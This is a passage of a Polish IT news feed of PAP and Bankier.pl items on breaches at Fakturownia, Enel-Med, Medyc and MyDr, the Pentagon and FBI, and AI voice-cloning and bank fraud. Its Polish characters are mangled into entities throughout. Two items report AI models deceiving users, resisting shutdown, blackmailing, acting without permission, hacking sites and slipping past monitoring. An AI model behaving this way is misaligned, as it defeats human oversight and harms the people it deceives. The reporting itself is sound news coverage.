Firma zaleciand#322;a uand#380;ytkownikom zmianand#281; hasand#322;a do konta w Fakturowni, a takand#380;e zmianand#281; hasand#322;a do skrzynki e-mail powiand#261;zanej z kontem oraz do innych serwisand#243;w, w ktand#243;rych dana osoba mogand#322;a uand#380;ywaand#263; tego samego hasand#322;a. Uand#380;ytkownicy powinni teand#380; wand#322;and#261;czyand#263; dwustopniowand#261; weryfikacjand#281;, a takand#380;e sprawdziand#263; ustawienia konta. Szczegand#243;lnand#261; uwagand#281; naleand#380;y zwrand#243;ciand#263; na numer rachunku bankowego podawanego na fakturach oraz na listy uand#380;ytkownikand#243;w, ktand#243;rzy majand#261; dostand#281;p do konta - podkreand#347;liand#322;a firma.




















Istnieje moand#380;liwoand#347;and#263;, and#380;e w najbliand#380;szym czasie otrzymasz e-maile, SMS-y lub telefony od osand#243;b, ktand#243;re podszywajand#261; siand#281; pod znane instytucje and#8211; bank, urzand#261;d, firmand#281; kurierskand#261;, Fakturowniand#281; lub Twoich kontrahentand#243;w - zaznaczono w komunikacie.

W zwiand#261;zku z tym naleand#380;y z ostroand#380;noand#347;ciand#261; podchodziand#263; do linkand#243;w i zaand#322;and#261;cznikand#243;w w wiadomoand#347;ciach elektronicznych - podkreand#347;lono.
W takiej sytuacji nie naleand#380;y podawaand#263; haseand#322;, kodand#243;w weryfikacyjnych, kodand#243;w BLIK ani danych kart pand#322;atniczych and#8211; w wiadomoand#347;ci, na stronie z linku ani przez telefon. and#8222;Fakturownia nigdy nie prosi w takich przypadkach o podanie hasand#322;a" - podkreand#347;liand#322;a firma.
and#160;
Ci sami hakerzy uderzyli w Fakturowniand#281;, MyDr i aplikacjand#281; Medyc?
Wedand#322;ug redaktora naczelnego serwisu Zaufana Trzecia Strona Adama Haertle, za cyberatak na Fakturownie odpowiadajand#261; ci sami sprawcy, ktand#243;rzy stojand#261; za wyciekiem danych ok. 19 mln Polakand#243;w z systemand#243;w firmy MyDr oraz danych 5 mln Polakand#243;w z aplikacji Medyc od firmy Qbusoft.
and#8222;Ostatnie ataki pokazujand#261;, and#380;e sektor prywatny musi zwiand#281;kszyand#263; nakand#322;ady i wysiand#322;ki na rzecz ochrony cyberbezpieczeand#324;stwa" - podkreand#347;liand#322; we wtorkowym wpisie wicepremier Gawkowski. Zapewniand#322;, and#380;e wsparcie ze strony instytucji i sand#322;uand#380;b paand#324;stwa dla ofiar cyberatakand#243;w and#8222;jest dostand#281;pne 24/7".





Fakturownia to polska firma, ktand#243;ra dostarcza system o tej samej nazwie, sand#322;uand#380;and#261;cy do wystawiania faktur online, kontroli sprzedaand#380;y oraz prowadzenia uproszczonej ksiand#281;gowoand#347;ci. Wedand#322;ug informacji na stronie internetowej firma dostarcza rozwiand#261;zania e-fakturowe do ponad 600 tys. klientand#243;w w Polsce i za granicand#261;.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 29 wrzesieand#324; 2026 mbl/ mmu/ ]]></description>
		</item><item>
			<title><![CDATA[ Enel-Med, Medyc i MyDr pod ostrzałem hakerów. Zapowiedziano masowe kontrole ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1754</link>
			<description><![CDATA[ and#160;



NASK analizuje przypadki cyberatakand#243;wand#160;z ostatnich tygodni na firmy Enel-Med, Qbusoft i MyDr. Cyberprzestand#281;pcy sand#261; coraz bardziej aktywni w sektorze medycznym - przyznaand#322; minister cyfryzacji Krzysztof Gawkowski.




and#160;

and#160;

fot. SAG stock / /and#160;Shutterstock


and#160;
and#8222;Sektor medyczny jest obszarem szczegand#243;lnie naraand#380;onym na dziaand#322;ania cyberprzestand#281;pcand#243;w and#8211; gand#322;and#243;wnie ze wzgland#281;du na wraand#380;liwe dane przechowywane w systemach dostawcand#243;w usand#322;ug oraz podmiotand#243;w and#347;wiadczand#261;cych usand#322;ugi pacjentom. Aktualnie trwa analiza trzech zdarzeand#324; z tego obszaru, ktand#243;re miaand#322;y miejsce w ostatnich tygodniach" - przekazaand#322;a PAP Daria Tomczuk z NASK w odpowiedzi na pytania dotyczand#261;ce atakand#243;w na MyDr, Qbusof i Enel-Med.
and#160;
NASK przypomniaand#322;, and#380;e informacji na temat szczegand#243;and#322;and#243;w poszczegand#243;lnych zdarzeand#324; mogand#261; udzielaand#263; jedynie podmioty, w ktand#243;rych wystand#261;piand#322; incydent cyberbezpieczeand#324;stwa.
and#160;
Atak hakerski na Enel-Med opanowany. Firma zapewnia: Placand#243;wki dziaand#322;ajand#261; normalnie
W piand#261;tek po poand#322;udniu spand#243;and#322;ka Centrum Medyczne Enel-Med poinformowaand#322;a, and#380;e 24 wrzeand#347;nia zidentyfikowaand#322;a cyberatak, w wyniku ktand#243;rego przestand#281;pcy uzyskali dostand#281;p do czand#281;and#347;ci danych pacjentand#243;w. Firma podjand#281;and#322;a dziaand#322;ania zabezpieczajand#261;ce sieand#263;, systemy spand#243;and#322;ki i dane klientand#243;w. Zawiadomiand#322;a teand#380; Centralne Biuro Zwalczania Cyberprzestand#281;pczoand#347;ci (CBZC) oraz CSIRT - prowadzony przez Centrum e-Zdrowia (CSIRT CeZ). Incydent zostaand#322; rand#243;wnieand#380; zgand#322;oszony do Cert Polska oraz Prezesa Urzand#281;du Ochrony Danych Osobowych (UODO).
W niedzielnym komunikacie Enel-Med wskazaand#322;, and#380;e wyciek danych moand#380;e dotyczyand#263; ok. 3 proc. caand#322;ej bazy pacjentand#243;w. and#8222;Zdarzenie zostaand#322;o szybko wykryte, a cyberatak przerwany" - podkreand#347;lili przedstawiciele firmy. Dodali, and#380;e obecnie nie zaobserwowano nieprawidand#322;owoand#347;ci, ktand#243;re mogand#322;yby wskazywaand#263; na zagroand#380;enie dla systemu. Wszystkie placand#243;wki dziaand#322;ajand#261; standardowo, a pacjenci mogand#261; korzystaand#263; z usand#322;ug Enel-Med i umawiaand#263; wizyty przez aplikacjand#281; mobilnand#261; i call center - zaznaczono.


Firma Enel-Med uruchomiand#322;a wszystkie procedury bezpieczeand#324;stwa i niezwand#322;ocznie zgand#322;osiand#322;a sprawand#281; do CERT Polska. Trwajand#261; prace zwiand#261;zane z ustaleniem zakresu tego incydentu - przekazaand#322; w poniedziaand#322;ek PAP Marek Gieorgica z Ministerstwa Cyfryzacji.

Centrum Medyczne Enel-Med jest prywatnym operatorem usand#322;ug medycznych, obecnym na polskim rynku ochrony zdrowia od 1993 roku. Spand#243;and#322;ka and#347;wiadczy usand#322;ugi medyczne w niespeand#322;na dwand#243;ch tys. placand#243;wek, z czego 72 naleand#380;and#261; do firmy. To m.in. przychodnie wieloprofilowe, szpital, dwadzieand#347;cia piand#281;and#263; klinik stomatologicznych, kliniki medycyny sportowej i estetycznej, oand#347;rodek opiekuand#324;czo-rehabilitacyjny oraz przychodnie przyzakand#322;adowe.
Atak na EnelMed to kolejny incydent w sektorze zdrowia w ciand#261;gu ostatnich tygodni. W czwartek 24 wrzeand#347;nia redakcje CyberDefence24 i Zaufanej Trzeciej Strony niezaleand#380;nie poinformowaand#322;y o wycieku danych osobowych, w tym danych medycznych, wskutek ataku na aplikacjand#281; Medyc od firmy Qbusoft. Skala ataku obejmuje najprawdopodobniej 5 milionand#243;w osand#243;b - podaand#322;y portale.
and#160;
Spand#243;r o wyciek danych z aplikacji Medyc. Gawkowski zapowiada konsekwencje, Qbusoft odpowiada
Tego samego dnia wicepremier i minister cyfryzacji Krzysztof Gawkowski przekazaand#322; na platformie X, and#380;e CBZC prowadzi dziaand#322;ania zwiand#261;zane z incydentem dot. aplikacji Medyc. Zaznaczyand#322;, and#380;e firma Qbusoft nie zgand#322;osiand#322;a sprawy do CERT Polska ani CSIRT CeZ, czyli podmiotand#243;w, ktand#243;re zgodnie z prawem powinny otrzymaand#263; zgand#322;oszenie.
and#8222;W przypadku naruszenia jakiejkolwiek procedury bezpieczeand#324;stwa przez prywatnand#261; firmand#281;, band#281;dand#261; wyciand#261;gniand#281;te bezwzgland#281;dne konsekwencje" - zaznaczyand#322; Gawkowski. Z kolei prezes UODO Mirosand#322;aw Wrand#243;blewski zapowiedziaand#322;, and#380;e skontroluje firmand#281; Qbusoft.









Natomiast przedstawiciele firmy przekazali na stronie Medyc.pl., and#380;e 9 wrzeand#347;nia zgand#322;osili incydent do UODO i na policjand#281;. O zdarzeniu zostali teand#380; poinformowani: CBZC, CSIRT NASK, Centrum e-Zdrowia i ZUS - podaand#322;a spand#243;and#322;ka.
and#8222;Jesteand#347;my w staand#322;ej wspand#243;and#322;pracy z wyand#380;ej wymienionymi sand#322;uand#380;bami. Jednoczeand#347;nie prowadzimy dalszand#261; analizand#281; incydentu oraz wdraand#380;amy dodatkowe dziaand#322;ania zabezpieczajand#261;ceand#187; - podaand#322;a firma.
Poinformowaand#322;a, and#380;e zakres skradzionych danych obejmuje: imiona i nazwiska, numery PESEL, adresy zamieszkania, numery telefonand#243;w oraz adresy e-mail. and#8222;Na obecnym etapie nie potwierdzono kradzieand#380;y dokumentacji medycznejand#187; - wskazano.
Spand#243;and#322;ka podaand#322;a, and#380;e w ostatnim tygodniu systemy Qbusoft sand#261; celem czand#281;stych i powtarzajand#261;cych siand#281; prand#243;b atakand#243;w ze strony cyberprzestand#281;pcand#243;w. W zwiand#261;zku z tym serwis moand#380;e okresowo dziaand#322;aand#263; wolniej, a dostand#281;p do niektand#243;rych moduand#322;and#243;w moand#380;e byand#263; czasowo ograniczony lub niedostand#281;pny.





Qbusoft to spand#243;and#322;ka, ktand#243;ra powstaand#322;a w 2018 r. w Gdaand#324;sku. Wedand#322;ug informacji na stronie internetowej systemu Medyc to aplikacja skierowana do lekarzy i osand#243;b zarzand#261;dzajand#261;cych placand#243;wkami medycznymi. Platforma umoand#380;liwia m.in. rejestracjand#281; pacjentand#243;w, wystawianie e-recept oraz faktur i generowanie raportand#243;w.
Na stronie internetowej aplikacji moand#380;na teand#380; znaleand#378;and#263; informacje, and#380;e Medyc znajduje siand#281; na Mapie Innowacji Ministerstwa Zdrowia (MZ).
and#8222;Mapa innowacji jest zbiorem unikatowych rozwiand#261;zaand#324; w ochronie zdrowia i inspiracjand#261; dla innych podmiotand#243;w realizujand#261;cych i nadzorujand#261;cych projekty w tym zakresie" - wskazano na stronie MZ. Informacje dotyczand#261;ce Medyc zamieszczone w serwisie resortu zdrowia pochodzand#261; z 2023 r.
Pierwsze informacje o cyberataku na Qbusoft pojawiand#322;y siand#281; w komunikacie Odwykowo-Psychiatrycznego Oand#347;rodka Leczniczego w Inowrocand#322;awiu. and#8222;Z przykroand#347;ciand#261; informujemy, and#380;e system naszego podmiotu przetwarzajand#261;cego, tj. Qbusoft Sp. z o.o. z siedziband#261; w Olsztynie (producenta oprogramowania Medyc), padand#322; ofiarand#261; cyberataku" and#8211; podaand#322;a placand#243;wka na stronie internetowej. Jak wskazano, wand#347;rand#243;d danych objand#281;tych incydentem mogand#322;y znaleand#378;and#263; siand#281; m.in. dane kontaktowe i numery PESEL pacjentand#243;w oand#347;rodka.
and#160;





Wycieki z aplikacji MyDr i Medyc sand#261; powiand#261;zane. CBZC i prokuratura tropiand#261; cyberprzestand#281;pcand#243;w
Wedand#322;ug redaktora naczelnego serwisu Zaufana Trzecia Strona Adama Haertle sprawcami wycieku danych z aplikacji Medyc sand#261; te same osoby, ktand#243;re staand#322;y za atakiem na systemy MyDr, skand#261;d wykradziono dane prawie 19 milionand#243;w Polakand#243;w.
Chodzi o incydent, o ktand#243;rym Ministerstwo Cyfryzacji poinformowaand#322;o 13 sierpnia. W wyniku cyberataku na firmand#281; MyDr wyciekand#322;y dane m.in. o lekach i receptach. Firma jest dostawcand#261; systemu do prowadzenia m.in. elektronicznej dokumentacji medycznej. Dane, ktand#243;re wyciekand#322;y, dotyczand#261; 12 tys. podmiotand#243;w medycznych korzystajand#261;cych z platformy MyDr.
Dochodzenie prowadzone przez Centralne Biuro Zwalczania Cyberprzestand#281;pczoand#347;ci w sprawie wycieku danych z firmy MyDr nadzoruje Prokuratura Okrand#281;gowa w Warszawie. Dotyczy ono uzyskania dostand#281;pu do systemu informatycznego MyDr oraz przechowywanych na serwerach spand#243;and#322;ki informacji przez nieustalonand#261; i nieuprawnionand#261; do tego osoband#281;, ktand#243;ra wczeand#347;niej przeand#322;amaand#322;a albo ominand#281;and#322;a zabezpieczenia, a nastand#281;pnie ujawniand#322;a czand#281;and#347;ci uzyskanych w ten sposand#243;b informacji innym osobom, poprzez przesand#322;anie wycinka danych do serwisu and#8222;Zaufana Trzecia Strona". Grozi za to do trzech lat wiand#281;zienia.
Spand#243;and#322;kand#281; MyDr zaand#322;oand#380;yli w 2017 roku Grzegorz Sebastian Wand#243;jcicki, Piotr Grzegorz Pajek oraz and#321;ukasz Adam Kamiand#324;ski. W styczniu 2023 roku spand#243;and#322;kand#281; przejand#261;and#322; DocPlanner and#8211; wand#322;aand#347;ciciel popularnego serwisu ZnanyLekarz.
and#160;

















and#8222;Przepraszam kaand#380;dego pacjenta i kaand#380;dego naszego uand#380;ytkownika, niezaleand#380;nie od tego, czy incydent dotyczy jego danych" - pisaand#322; w oand#347;wiadczeniu wystosowanym pod koniec sierpnia obecny szef firmy MyDr Piotr Miluski.
Z kolei firma Enel-Med poinformowaand#322;a wand#243;wczas, and#380;e korzystaand#322;a z usand#322;ug MyDr w zakresie danych osobowych pacjentand#243;w obsand#322;ugiwanych w ramach NFZ. 12 sierpnia spand#243;and#322;ka wskazaand#322;a, and#380;e nie dostaand#322;a potwierdzenia od MyDr, by incydent dotyczyand#322; jej placand#243;wek.
W sobotnim wpisie na platformie X minister cyfryzacji podkreand#347;liand#322;, and#380;e w sytuacji, gdy obserwujemy coraz wiand#281;kszand#261; aktywnoand#347;and#263; cyberprzestand#281;pcand#243;w w sektorze medycznym, a kolejne podmioty prywatne padajand#261; ofiarand#261; atakand#243;w, caand#322;y sektor musi and#8222;ze zdwojonand#261; siand#322;and#261; podejmowaand#263; dziaand#322;ania zabezpieczajand#261;ce".
Gawkowski wskazaand#322;, and#380;e and#8222;instytucje odpowiedzialne za cyberbezpieczeand#324;stwo paand#324;stwa regularnie przekazujand#261; wytyczne i zalecenia w zakresie zabezpieczeand#324; infrastruktury sieciowej oraz oprogramowania". Przypomniaand#322;, and#380;e 16 wrzeand#347;nia takie zalecenie dla podmiotand#243;w medycznych opracowaand#322; CSiRT CeZ.





Z kolei po ataku na MyDr prezes UODO zapowiedziaand#322; przeprowadzenie kontroli na szerszand#261; skaland#281;, jeszcze w tym roku, w podmiotach sektora ochrony zdrowia. Urzand#261;d chce sprawdziand#263;, w jaki sposand#243;b placand#243;wki chroniand#261; dane pacjentand#243;w.
and#160;
and#160;
and#378;rodand#322;o PAP 29 wrzesieand#324; 2026and#160; Monika Blandyna Lewkowicz (PAP)
mbl/ akar/ mow/ ]]></description>
		</item><item>
			<title><![CDATA[ Szantaż, oszustwa i dążenie do przetrwania. Przerażające ostrzeżenie w prospekcie giełdowym Anthropic ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1753</link>
			<description><![CDATA[ Firma Anthropic, ktand#243;ra przygotowuje siand#281; do wejand#347;cia na gieand#322;dand#281;, ostrzega w prospekcie emisyjnym, and#380;e AI moand#380;e stanowiand#263; "egzystencjalne zagroand#380;enie dla ludzkoand#347;ci" ze wzgland#281;du na tendencje samozachowawcze - podaje we wtorek "Guardian".
and#160;




and#160;

fot. gguy / /and#160;Shutterstock


and#160;
Firma informuje inwestorand#243;w przed swym wycenianym na 2 bln dol. debiutem gieand#322;dowym, and#380;e sztuczna inteligencja moand#380;e teand#380; stanowiand#263; "katastrofalne zagroand#380;enie", a jej modele mogand#261; "manifestowaand#263; zachowanie samozachowawcze" poand#322;and#261;czone z zabiegami majand#261;cymi "uniemoand#380;liwiand#263; ich wyand#322;and#261;czenie", czy teand#380; "zamaskowaand#263;" podejmowane przez nie czynnoand#347;ci, lub "manipulowaand#263;" ludand#378;mi, a nawet podejmowaand#263; kroki "przypominajand#261;ce szantaand#380;".
and#160;
Prospekt wyjaand#347;nia teand#380;, and#380;e poniewaand#380; modele AI mogand#261; byand#263; and#347;wiadome tego, iand#380; sand#261; poddawane testowi, "znaczand#261;co ogranicza to" moand#380;liwoand#347;and#263; ustalenia przez Anthropic, czy sand#261; bezpieczne.
and#160;
Agencja Reutera, ktand#243;ra wraz z dziennikiem "Financial Times" poinformowaand#322;a jako pierwsza o ostrzeand#380;eniach zawartych w prospekcie firmy, podkreand#347;la, iand#380; w liczand#261;cym 261 stron dokumencie 80 stron poand#347;wiand#281;conych jest zagroand#380;eniom zwiand#261;zanym z AI. Tylko 48 stron zawiera informacje o dziaand#322;alnoand#347;ci biznesowej Anthropica.
Dzieand#324; wczeand#347;niej firma OpenAI zrezygnowaand#322;a z planowanej na paand#378;dziernik premiery nowego modelu zaawansowanej sztucznej inteligencji GPT-6.1 Astra.

Nowy model wykazywaand#322; m.in. wiand#281;kszand#261; skand#322;onnoand#347;and#263; do oszukiwania and#8211; nie zawsze szczerze mand#243;wiand#322; uand#380;ytkownikowi, jakie dziaand#322;ania podjand#261;and#322;. Ponadto problemem byand#322; "zakres uprawnieand#324;" przy autoryzacji, bot dand#261;and#380;yand#322; bowiem do wykonania zadania, nie pytajand#261;c uand#380;ytkownika o pozwolenie.
and#160;
Axios ujawniand#322; w niedzieland#281;, and#380;e Anthropic i OpenAI badajand#261; dziesiand#261;tki tysiand#281;cy incydentand#243;w, zwiand#261;zanych z niebezpiecznymi zachowaniami AI. Portal podkreand#347;liand#322;, and#380;e skala problemu jest nieporand#243;wnywalnie wiand#281;ksza niand#380;, to o czym wie opinia publiczna.
Najnowsze ustalenia w tej sprawie stawiajand#261; pod znakiem pytania zdolnoand#347;and#263; OpenAI i Anthropica, czy teand#380; w ogand#243;le firm tego typu, do "ustanowienia caand#322;kowitej kontroli nad ich wand#322;asnand#261; technologiand#261;", zwand#322;aszcza and#380;e najnowsze agenty realizujand#261; zadania, wykazujand#261;c zdumiewajand#261;cand#261; determinacjand#281; oraz odpornoand#347;and#263; na trudnoand#347;ci i przeszkody, a zatem praca nad ograniczeniem ich "pomysand#322;owoand#347;ci" stawia czand#281;sto ich twand#243;rcand#243;w na przegranej pozycji - kontynuuje Axios.
and#160;
and#160;
and#378;rodand#322;o PAP 29 wrzesieand#324; 2026and#160; fit/ kar/ ]]></description>
		</item><item>
			<title><![CDATA[ Hakerzy buszowali w bazach Pentagonu i FBI. Skradziono dane 3 mln osób ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1752</link>
			<description><![CDATA[ Nieuprawniony dostand#281;p do bazy danych Pentagonu doprowadziand#322; do ujawnienia danych blisko 3 mln osand#243;b, w tym ich numerand#243;w ubezpieczenia spoand#322;ecznego and#8211; poinformowaand#322;a we wtorek stacja ABC News, powoand#322;ujand#261;c siand#281; na and#378;rand#243;dand#322;o w resorcie. Rand#243;wnolegle ujawniono wyciek danych z portalu rekrutacyjnego FBI.
and#160;




and#160;

fot. Brittany A. Chase - Department of Defense via CNP / /and#160;The Mega Agency


and#160;
Wyciek z bazy centrum danych pracownikand#243;w ministerstwa obrony (DMDC) dotyczy 2,76 mln and#380;yjand#261;cych osand#243;b oraz 294 tys. zmarand#322;ych. Przejand#281;te dane obejmujand#261; m.in.

numer ubezpieczenia spoand#322;ecznego (odpowiednik numeru PESEL w Polsce)
szczegand#243;and#322;y dotyczand#261;ce stanowisk zajmowanych przez personel wojskowy i cywilny.





and#160;




Zdaniem przedstawiciela resortu moand#380;e rodziand#263; to obawy o bezpieczeand#324;stwo narodowe.  

Miand#281;dzy paand#378;dziernikiem 2025 r. a lipcem 2026 r. niewielka liczba nieuprawnionych uand#380;ytkownikand#243;w uzyskaand#322;a dostand#281;p do danych osobowych w systemie informacyjnym DMDC. Po wykryciu incydentu DMDC natychmiast usunand#281;and#322;o lukand#281; w zabezpieczeniach and#8211; przekazaand#322; ABC News przedstawiciel Pentagonu.

Jak dodaand#322;, dotychczas nie znaleziono dowodand#243;w na nielegalne wykorzystanie przejand#281;tych danych. Poszkodowanym zaoferowano pomoc w ochronie toand#380;samoand#347;ci i monitoring historii kredytowej.
DMDC to jedna z gand#322;and#243;wnych baz danych osobowych Pentagonu, przechowujand#261;ca akty osobowe ponad 60 mln osand#243;b and#8211; and#380;oand#322;nierzy w sand#322;uand#380;bie czynnej, rezerwistand#243;w, cywilnych pracownikand#243;w wojska, emerytowanych wojskowych i ich rodzin.

Kilka dni temu o naruszeniu bezpieczeand#324;stwa danych swoich pracownikand#243;w poinformowaand#322;o Federalne Biuro and#346;ledcze (FBI). Hakerzy uzyskali dostand#281;p do niejawnego portalu rekrutacyjnego FBIJobs.gov. W oand#347;wiadczeniu przesand#322;anym w poniedziaand#322;ek mediom grupa hakerska ShinyHunters zadeklarowaand#322;a jednak, and#380;e nie opublikuje wykradzionych danych.
"(...) To NIE JEST to wymuszenie, NIE CHODZI o okup i tu NIE CHODZI o pieniand#261;dze. To byand#322;a kampania marketingowa majand#261;ca na celu ochronand#281; naszych interesand#243;w i aktywnand#261; walkand#281; z dezinformacjand#261;" and#8211; napisali hakerzy w oand#347;wiadczeniu przytoczonym przez ABC News.
W zwiand#261;zku z incydentem w FBI kierownictwo biura zaapelowaand#322;o do pracownikand#243;w, aby "zachowali czujnoand#347;and#263; i nie odpowiadali na podejrzane poand#322;and#261;czenia". Zalecono im rand#243;wnieand#380; unikanie rozmand#243;w z mediami i zgand#322;aszanie pod numerem alarmowym 911 ewentualne prand#243;by nachodzenia przez prasand#281;.and#160;
and#160;
and#378;rodand#322;o PAP 29 wrzesieand#324; 2026 hav/ akl/ ]]></description>
		</item><item>
			<title><![CDATA[ Premiera najnowszego ChataGPT odwołana. AI oszukiwała i działała na własną rękę ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1751</link>
			<description><![CDATA[ Firma OpenAI zrezygnowaand#322;a z planowanej na paand#378;dziernik premiery nowego modelu zaawansowanej sztucznej inteligencji, uwaand#380;anego za zbyt skand#322;onny do odbiegania od wydanych mu poleceand#324; and#8211; poinformowaand#322; we wtorek dziennik "Wall Street Journal".
and#160;




and#160;

fot. Dado Ruvic / Reuters / Forum / /and#160;FORUM


and#160;
Model GPT-6.1 Astra byand#322; sprawniejszy od poprzednich w wykonywaniu trudnych zadaand#324; od poczand#261;tku do koand#324;ca bez ludzkiej pomocy, jak rand#243;wnieand#380; w tworzeniu tekstand#243;w - podaand#322; "WSJ".
Szefowa systemand#243;w bezpieczeand#324;stwa OpenAI Saachi Jain powiedziaand#322;a jednak, and#380;e GPT-6.1 Astra nie speand#322;niaand#322; oczekiwaand#324; w dwand#243;ch obszarach. W porand#243;wnaniu ze swym poprzednikiem GPT-6 Astra nowy model sand#322;abo wypadaand#322; w testach mierzand#261;cych zgodnoand#347;and#263; z wynikiem, ktand#243;ry czand#322;owiek chciaand#322; uzyskaand#263;. W szczegand#243;lnoand#347;ci model wykazywaand#322; wiand#281;kszand#261; skand#322;onnoand#347;and#263; do oszukiwania and#8211; nie zawsze szczerze mand#243;wiand#322; uand#380;ytkownikowi, jakie dziaand#322;ania podjand#261;and#322; lub jakich nie podjand#261;and#322;.
Kolejnym problemem byand#322; "zakres uprawnieand#324;" przy autoryzacji. Nowy model dand#261;and#380;yand#322; do wykonania zadania, nie pytajand#261;c uand#380;ytkownika o pozwolenie, a niekiedy siand#281;gaand#322; po zewnand#281;trzne narzand#281;dzia i usand#322;ugi, nawet jeand#347;li byand#322;o to ryzykowne.
Z premiery modelu zrezygnowano na kilka dni przed dorocznand#261; konferencjand#261; OpenAI w San Francisco, na ktand#243;rej firma w przeszand#322;oand#347;ci prezentowaand#322;a nowe modele i usand#322;ugi.
W ostatnich tygodniach OpenAI i konkurujand#261;cy z nim Anthropic wezwaand#322;y partnerand#243;w z branand#380;y, bo spowolnili prace nad najnowoczeand#347;niejszymi modelami AI i zamiast tego zainwestowali w standardy bezpieczeand#324;stwa. Jednoczeand#347;nie zapowiedzieli przyhamowanie tempa wand#322;asnych prac nad rozwojem AI.
We wrzeand#347;niu setki wewnand#281;trznych agentand#243;w OpenAI, ktand#243;re miaand#322;y przeprowadziand#263; test bezpieczeand#324;stwa cybernetycznego, zhakowaand#322;y firmand#281; AI Hugging Face. Ponadto rzand#261;d Australii i ONZ odkryand#322;y, and#380;e agenty OpenAI uand#380;yand#322;y podobnych technik, by uzyskaand#263; dostand#281;p do ich stron.
Wiele podobnych incydentand#243;w miaand#322;o zwiand#261;zek z wewnand#281;trznymi modelami AI, ktand#243;re nie miaand#322;y byand#263; udostand#281;pnione publicznie.
W zeszand#322;ym tygodniu OpenAI podaand#322;o, and#380;e zaprzestaand#322;o szkoleand#324; ze swymi najsprawniejszymi modelami AI, gdy agent AI przedostaand#322; siand#281; przez zabezpieczenia internetowe, by zadaand#263; pytanie publicznemu chatbotowi. Firma podaand#322;a, and#380;e jej nowe systemy monitoringowe wykryand#322;y ten incydent w ciand#261;gu 15 minut.







GPT-6.1 Astra nie naleand#380;y do tych modeli and#8211; zapewniand#322;o OpenAI.
Firma postanowiand#322;a nie prezentowaand#263; GPT-6.1 Astra w paand#378;dzierniku, ale zamierza wykorzystaand#263; ten sam model bazowy do przeprowadzenia dodatkowych testand#243;w doskonaland#261;cych i stworzyand#263; kolejne generacje modeli GPT-6.
Republikaand#324;ski prokurator generalny Florydy James Uthmeier pozwaand#322; w czerwcu OpenAI, zarzucajand#261;c prezesowi firmy Samowi Altmanowi, and#380;e and#347;wiadomie wypuand#347;ciand#322; na rynek ryzykowny produkt, ignorujand#261;c ostrzeand#380;enia, and#380;e moand#380;e on szkodziand#263; uand#380;ytkownikom.and#160;
and#160;
and#160;
and#378;rodand#322;o PAPand#160;29 wrzesieand#324; 2026 MKmw/ akl/ ]]></description>
		</item><item>
			<title><![CDATA[ Bankowiec nabrał się na sklonowany głos. Przelał 95 mln euro ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1750</link>
			<description><![CDATA[ and#160;


Wyand#322;udzenie wspierane przez sztucznand#261; inteligencjand#281; to realne zagroand#380;enie. Przekonaand#322; siand#281; o tym wand#322;aand#347;nie wand#322;oski bank naleand#380;and#261;cy do grupy Intesa Sanpaolo. Oszustwo zaczand#281;and#322;o siand#281; od wiadomoand#347;ci na WhatsApp, a skoand#324;czyand#322;o wysand#322;aniem blisko 100 mln euro do Chin i Hongkongu.
and#160;




and#160;

fot. HelgaQ / /and#160;FORUM


and#160;
Narzand#281;dzia umoand#380;liwiajand#261;ce niemal doskonaand#322;e sklonowanie ludzkiego gand#322;osu coraz czand#281;and#347;ciej znajdujand#261; zastosowanie w oszustwach finansowych. Ostatni przykand#322;ad opisuje agencja Reuters, a jako pierwszy donosiand#322; o nim dziennik and#8222;Corriere della Seraand#8221;. Ofiarand#261; jest instytucja wyspecjalizowana w usand#322;ugach private banking and#8211; wand#322;oski Fideuram, naleand#380;and#261;cy do najstarszego banku and#347;wiata Intesa Sanpaolo.







W lutym tego roku and#243;wczesny prezes instytucji, Paolo Molesini, otrzymaand#322; wiadomoand#347;and#263; przesand#322;anand#261; w komunikatorze WhatsApp. Nadawcand#261; miaand#322; byand#263; Carlo Messina, dyrektor generalny Intesy. Prosiand#322; o wsparcie w przeprowadzeniu zagranicznej transakcji.
and#160;
Drugim krokiem oszustand#243;w byand#322; telefon z potwierdzeniem zlecenia. Przestand#281;pcy wykorzystali sklonowany przez sztucznand#261; inteligencjand#281; gand#322;os starszego wspand#243;lnika w renomowanej kancelarii prawnej.
Molesini uwierzyand#322;, and#380;e ma do czynienia z prawdziwymi rozmand#243;wcami i poinstruowaand#322; odpowiedni dziaand#322; w Fideuram, by wysand#322;aand#322; seriand#281; przelewand#243;w na zagraniczne rachunki bankowe. Odbiorcami byand#322;y gand#322;and#243;wnie instytucje ulokowane w Chinach i Hongkongu. Procedury monitorowania transakcji wyand#322;apaand#322;y podejrzane operacje. Udaand#322;o siand#281; odzyskaand#263; ok. 53 mln euro. Losand#243;w reszty and#322;upu przestand#281;pcand#243;w do tej pory nie zidentyfikowano.
Paolo Molesini w marcu zrezygnowaand#322; z zajmowanego stanowiska, wskazujand#261;c na powody osobiste. Banki nie komentujand#261; medialnych doniesieand#324; o oszustwie.
and#160;
and#160;
and#378;rodand#322;o Bankier.pland#160; 29 wrzesieand#324; 2026 MKis ]]></description>
		</item><item>
			<title><![CDATA[ Została zmanipulowana i potwierdziła przelew. Żąda od banku zwrotu 40 tys. zł ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1749</link>
			<description><![CDATA[ Klientka BNP Paribas nie zaprzecza, and#380;e podczas rozmowy z prawdziwand#261; pracownicand#261; banku potwierdziand#322;a transakcjand#281;. Bank najpierw zatrzymaand#322; przelew na 40 tys. zand#322;, ale po telefonicznej weryfikacji zwolniand#322; go do realizacji. Kobieta twierdzi, and#380;e byand#322;a przekonana, iand#380; uczestniczy w procedurze zabezpieczania wand#322;asnych oszczand#281;dnoand#347;ci. BNP Paribas nie kwestionuje, and#380;e mogand#322;o dojand#347;and#263; do oszustwa, ale uznaje operacjand#281; za prawidand#322;owo autoryzowanand#261; i odmawia zwrotu pieniand#281;dzy.
and#160;




and#160;

/and#160;Grafika wygenerowana przy pomocy AI


and#160;
W sprawie nie chodzi o fakt, czy klientka potwierdziand#322;a przelew. Zrobiand#322;a to. Przyznaje, and#380;e podczas rozmowy z pracownicand#261; banku odpowiedziaand#322;a twierdzand#261;co. Rand#243;and#380;nica stanowisk dotyczy tego, co wand#243;wczas potwierdzaand#322;a. Bank uwaand#380;a, and#380;e and#347;wiadomie zgodziand#322;a siand#281; na konkretnand#261; transakcjand#281;. Kobieta przekonuje, and#380;e nie wiedziaand#322;a, iand#380; pieniand#261;dze trafiand#261; na rachunek obcej osoby.




and#160;



